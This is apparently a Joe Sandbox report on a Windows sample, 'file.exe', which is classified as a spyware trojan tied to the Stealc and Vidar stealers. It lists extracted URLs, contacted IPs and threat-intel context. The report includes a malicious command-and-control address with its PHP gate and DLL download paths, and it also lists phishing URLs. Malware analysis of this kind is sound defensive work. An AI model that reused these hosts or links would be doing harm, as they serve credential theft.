http://185.215.113.206/6c4adf523b719729.phpodus.wallet	file.exe, 00000000.00000002.2601720478.000000000124E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://i.y.qq.com/n2/m/index.html	0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	false		unknown
https://www.deezer.com/	0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	false		unknown
https://issuetracker.google.com/255411748	chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://web.telegram.org/	0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	false		unknown
https://permanently-removed.invalid/oauth2/v4/token	msedge.exe, 00000007.00000003.2365228314.000078C800280000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365966693.000078C800284000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365149342.000078C80027C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7246	chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://anglebug.com/7369	chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://anglebug.com/7489	chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.phpata	file.exe, 00000000.00000002.2601720478.00000000012A8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://chrome.google.com/webstore	chrome.exe, 00000003.00000003.2245907339.0000590800DEC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000002.2442616209.000078C800194000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive-daily-2.corp.google.com/	manifest.json0.9.dr	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	BAEBGHCFCAAFIECAFIII.0.dr	false		unknown
http://polymer.github.io/PATENTS.txt	chrome.exe, 00000003.00000003.2250495934.0000590800EE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252391964.00005908003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2250709592.0000590800F84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251958300.0000590800484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252478513.0000590800E28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251999366.00005908006CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2250653058.00005908010DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252849188.000059080120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2250628451.000059080108C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252173045.0000590800FC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252095489.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252778278.0000590801134000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2250746306.00005908010A8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.ico	chrome.exe, 00000003.00000003.2245287010.0000590800C20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252322263.0000590800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2273002296.0000590800C20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271510874.0000590800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2304787555.0000590800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2246939833.0000590800C20000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000002.2601720478.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, AFCFHDHI.0.dr, Web Data.9.dr, GDAECAEC.0.dr	false	URL Reputation: safe	unknown
https://issuetracker.google.com/161903006	chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	AFCFHDHI.0.dr	false	URL Reputation: safe	unknown
https://drive-daily-1.corp.google.com/	manifest.json0.9.dr	false	URL Reputation: safe	unknown
https://excel.new?from=EdgeM365Shoreline	0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	false		unknown
https://drive-daily-5.corp.google.com/	manifest.json0.9.dr	false	URL Reputation: safe	unknown
https://plus.google.com	chromecache_462.5.dr	false		unknown
http://185.215.113.206/746f34465cf17784/nss3.dll.	file.exe, 00000000.00000002.2601720478.00000000012A8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://permanently-removed.invalid/chrome/blank.html	msedge.exe, 00000007.00000003.2365228314.000078C800280000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365966693.000078C800284000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365149342.000078C80027C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3078	chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/7553	chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/5375	chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://permanently-removed.invalid/v1/issuetoken	msedge.exe, 00000007.00000003.2365228314.000078C800280000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365966693.000078C800284000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365149342.000078C80027C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5371	chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/4722	chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://m.google.com/devicemanagement/data/api	chrome.exe, 00000003.00000003.2240570292.00005908001C8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://permanently-removed.invalid/reauth/v1beta/users/	msedge.exe, 00000007.00000003.2365228314.000078C800280000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365966693.000078C800284000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365149342.000078C80027C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/7556	chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://chromewebstore.google.com/	msedge.exe, 00000007.00000002.2442616209.000078C800194000.00000004.00000800.00020000.00000000.sdmp, manifest.json.9.dr	false	URL Reputation: safe	unknown
https://drive-preprod.corp.google.com/	manifest.json0.9.dr	false	URL Reputation: safe	unknown
https://srtb.msn.cn/	2cc80dabc69f58b6_1.9.dr	false		unknown
https://msn.comXIDv10	Cookies.10.dr	false		unknown
https://chrome.google.com/webstore/	manifest.json.9.dr	false		unknown
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.9.dr	false		unknown
https://publickeyservice.pa.gcp.privacysandboxservices.com	chrome.exe, 00000003.00000003.2273335176.000059080151C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phpSb	file.exe, 00000000.00000002.2601720478.00000000012C5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.9.dr	false		unknown
https://permanently-removed.invalid/RotateBoundCookies	msedge.exe, 00000007.00000003.2365228314.000078C800280000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365966693.000078C800284000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365149342.000078C80027C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/6692	chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://issuetracker.google.com/258207403	chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3502	chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3623	chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.office.com	0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	false		unknown
http://anglebug.com/3625	chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://outlook.live.com/mail/0/	0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	false		unknown
http://anglebug.com/3624	chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/5007	chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3862	chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.rs/getrandom#nodejs-es-module-support	file.exe, file.exe, 00000000.00000002.2634831293.000000006CD11000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2599315739.000000000047C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2139158406.0000000004EAB000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr	false	URL Reputation: safe	unknown
https://ntp.msn.com/edge/ntp	000003.log9.9.dr, 2cc80dabc69f58b6_1.9.dr	false		unknown
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.9.dr	false		unknown
https://chrome.google.com/webstoreLDDiscover	chrome.exe, 00000003.00000003.2252147990.0000590800484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2249432246.0000590800DEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252227511.0000590800FBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2246914027.0000590800484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245193537.0000590800484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252614226.0000590800DEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2246108021.0000590800484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2254917339.0000590800C90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245258081.0000590800C88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245907339.0000590800DEC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/search?q=&addon=opensearch	chrome.exe, 00000003.00000003.2245287010.0000590800C20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252322263.0000590800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2273002296.0000590800C20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271510874.0000590800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2304787555.0000590800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2246939833.0000590800C20000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4836	chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://issuetracker.google.com/issues/166475273	chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.174	plus.l.google.com	United States	15169	GOOGLEUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
23.198.7.180	unknown	United States	20940	AKAMAI-ASN1EU	false
18.154.84.16	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
20.125.209.212	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.47.194.99	unknown	United States	20940	AKAMAI-ASN1EU	false
142.250.184.228	www.google.com	United States	15169	GOOGLEUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.186.33	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
142.250.186.78	play.google.com	United States	15169	GOOGLEUS	false
18.238.171.114	unknown	United States	16509	AMAZON-02US	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.198.7.174	unknown	United States	20940	AKAMAI-ASN1EU	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.189.173.28	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
20.75.60.91	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.221.22.215	unknown	United States	20940	AKAMAI-ASN1EU	false

Private

IP
192.168.2.16
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545301
Start date and time:	2024-10-30 11:44:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@67/297@28/23
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.206.67, 142.250.186.142, 74.125.206.84, 34.104.35.123, 216.58.206.35, 142.250.181.234, 142.250.185.138, 216.58.206.74, 142.250.184.234, 142.250.185.106, 142.250.185.170, 142.250.185.234, 142.250.185.202, 142.250.186.42, 216.58.206.42, 142.250.186.138, 142.250.186.74, 216.58.212.138, 216.58.212.170, 142.250.185.74, 172.217.23.106, 192.229.221.95, 142.250.186.170, 142.250.186.106, 142.250.184.202, 172.217.16.202, 142.250.74.202, 172.217.18.10, 199.232.210.172, 13.107.42.16, 204.79.197.203, 204.79.197.239, 13.107.21.239, 142.250.185.142, 13.107.6.158, 48.209.162.134, 2.22.242.105, 2.22.242.11, 4.231.68.226, 2.23.209.177, 2.23.209.179, 2.23.209.181, 2.23.209.183, 2.23.209.162, 2.23.209.185, 2.23.209.175, 2.23.209.182, 2.23.209.176, 88.221.110.195, 88.221.110.179, 2.23.209.156, 2.23.209.160, 2.23.209.161, 2.23.209.158, 2.23.209.154, 13.74.129.1, 13.107.21.237, 204.79.197.237, 2.23.209.50, 2.23.209.59, 2.23.209.52, 2.23.209.57, 2.23.209.54, 2.23.209.58, 2.23.209.51,
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, data-edge.smartscreen.microsoft.com, img-s-msn-com.akamaized.net, clientservices.googleapis.com, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, wildcardtlu-ssl.azureedge.net, prod-agic-we-8.westeurope.cloudapp.azure.com, edgedl.me.gvt1.com, c.bing.com, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, www.bin
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
06:45:33	API Interceptor	92x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
18.154.84.16	https://accountservicing.com/e3t/Ctc/2H+113/ccl-Y04/VVqYcj9d1pTLW16y89n4DRlWxW1xTZ7Q5jxmFNN5BW0Sj3qgyTW7Y8-PT6lZ3n-W7K16HT7thx4hV6kpN06fVkc-W7yxLrN95hXZjW4rblJ-6TSnSZW65gGqH4W43v4N3_YsqT-3YKYVxfV2W58G73YW3cFwVC8ny83jW8Fz12N8-V0SmW5SSzp43rM_L2W245fnt8p94jMW4PPrDY6Cb9HjW2Zf9wL3lKcTbW61Hhz233pYyDW5Qh4rN5z3QrwW1QwY5K38F8JxW433Jj716pqBlW5WlHSd1QR2ZcVsdP_h6JX3RcW6YQskh3NNSGKW9hbgq820G9QVW4RCZ8N3hkwKQW6Ykd0p7cQ_DrW48gHN96lLqMFW4402zd4Vsz0kW8KJCq78P_VX-f5RrgHM04	Get hash	malicious	Unknown	Browse
18.154.84.16	https://www.canva.com/design/DAGMh-b_4n0/vfjDXPHOs2r6F2BiS1Y_rw/edit?utm_content=DAGMh-b_4n0&utm_campaign=designshare&utm_medium=link2&utm_source=sharebutton	Get hash	malicious	Unknown	Browse
20.125.209.212	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
23.47.194.99	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
152.195.19.97	http://ustteam.com/	Get hash	malicious	Unknown	Browse	www.ust.com/
23.198.7.180	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse
	JVLkkfzSKW.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	http://google.com	Get hash	malicious	Unknown	Browse
	https://fvytvgh.blob.core.windows.net/vhgvhcg/6398.html	Get hash	malicious	Phisher	Browse
	https://neon.ly/f132f836-82cf-441d-83cc-ac2dde9fb1d7	Get hash	malicious	Unknown	Browse
	https://fedex27.blob.core.windows.net/fedex27/1.html#cl/16732_md/71/14931/3458/19024/294550	Get hash	malicious	Phisher	Browse
	Resume_C.D.Murali.doc	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
sb.scorecardresearch.com	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.27
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.122
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.32
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.32
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.38
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.27
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.38
	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.122
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.27
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.27
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	http://assets.website-files.com/65f02117700897a29c49fb10/65f7c129cb837c2310c7044e_tisamijujute.pdf	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	JVLkkfzSKW.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
sni1gl.wpc.nucdn.net	file.exe	Get hash	malicious	Stealc, Vidar	Browse	152.199.21.175
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	152.199.21.175
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	152.199.21.175
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	152.199.21.175
	JVLkkfzSKW.exe	Get hash	malicious	Stealc, Vidar	Browse	152.199.21.175
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	152.199.21.175
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	152.199.21.175
	W9f3Fx6sL4.exe	Get hash	malicious	Stealc, Vidar	Browse	152.199.21.175
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	152.199.21.175
	setup.msi	Get hash	malicious	Unknown	Browse	152.199.21.175

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASN1EU	https://onedrive.live.com/view.aspx?resid=8656653D19C3C7C0!s553e3fe901654d86bcc4ed44c7c05dd3&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL28vYy84NjU2NjUzZDE5YzNjN2MwL0V1a19QbFZsQVlaTnZNVHRSTWZBWGRNQmtvbDQ2b1NlN1o5MGFiazNzS3lGSlE_ZT1UMnQ4S3Y&wd=target%28Sezione%20senza%20titolo.one%7C8d7e5173-6006-4648-a69d-e39e66e7041a%2FAblehnung%20Rechnung%20R15946098273-KU30_WE02%20Vom%2028%5C%2F%7Cd77916b9-b471-429a-a13e-74764563e56b%2F%29&wdorigin=NavigationUrl	Get hash	malicious	Unknown	Browse	2.16.168.13
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.198.7.177
	vHnFyxemFf.elf	Get hash	malicious	Unknown	Browse	172.237.240.221
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.221.22.215
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.198.7.176
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.221.220.67
	belks.arm.elf	Get hash	malicious	Mirai	Browse	95.100.100.158
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.222.241.140
	http://199.59.243.227	Get hash	malicious	HTMLPhisher	Browse	23.46.150.74
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.222.241.148
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://railrent-railrent.powerappsportals.com/	Get hash	malicious	Unknown	Browse	52.109.76.240
	https://onedrive.live.com/view.aspx?resid=8656653D19C3C7C0!s553e3fe901654d86bcc4ed44c7c05dd3&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL28vYy84NjU2NjUzZDE5YzNjN2MwL0V1a19QbFZsQVlaTnZNVHRSTWZBWGRNQmtvbDQ2b1NlN1o5MGFiazNzS3lGSlE_ZT1UMnQ4S3Y&wd=target%28Sezione%20senza%20titolo.one%7C8d7e5173-6006-4648-a69d-e39e66e7041a%2FAblehnung%20Rechnung%20R15946098273-KU30_WE02%20Vom%2028%5C%2F%7Cd77916b9-b471-429a-a13e-74764563e56b%2F%29&wdorigin=NavigationUrl	Get hash	malicious	Unknown	Browse	52.111.231.17
	VERTRAG-pdf.zip	Get hash	malicious	Unknown	Browse	204.79.197.203
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	52.228.161.161
	Payment&WarantyBonds.exe	Get hash	malicious	FormBook	Browse	20.2.249.7
	Orden de Compra.xlam.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.45
	Orden de compra.xlam.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.45
	PO-004976.xls	Get hash	malicious	Unknown	Browse	13.107.246.45
	W6Z9uSRsKQ.elf	Get hash	malicious	Unknown	Browse	20.57.7.175
	wZU2edEGL3.elf	Get hash	malicious	Unknown	Browse	51.125.244.193
